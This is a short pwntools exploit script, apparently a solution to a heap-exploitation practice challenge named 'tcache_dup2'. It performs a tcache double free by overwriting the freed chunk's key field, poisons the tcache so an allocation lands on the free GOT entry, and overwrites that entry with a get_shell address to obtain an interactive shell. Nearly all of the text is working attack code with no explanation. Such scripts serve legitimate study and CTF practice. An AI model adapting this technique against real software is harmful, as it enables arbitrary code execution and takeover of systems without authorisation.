from pwn import *

p = process("./tcache_dup2")
e = ELF("./tcache_dup2")

def create_heap(size,data):
	p.sendlineafter("> ",'1')
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Data: ",data)

def modify_heap(idx,size,data):
	p.sendlineafter("> ",'2')
	p.sendlineafter("idx: ",str(idx))
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Data: ",data)

def delete_heap(idx):
	p.sendlineafter("> ",'3')
	p.sendlineafter("idx: ",str(idx))

get_shell = 0x401530
free = e.got['free']

create_heap(0x30,"aaaa")
create_heap(0x30,"bbbb")

delete_heap(0)
delete_heap(1)
modify_heap(1,0xa,b"A"*8+b"\x00")
delete_heap(1)

create_heap(0x30,p64(free))
create_heap(0x30,b"B"*8) 
create_heap(0x30,p64(get_shell))

delete_heap(1)

p.interactive()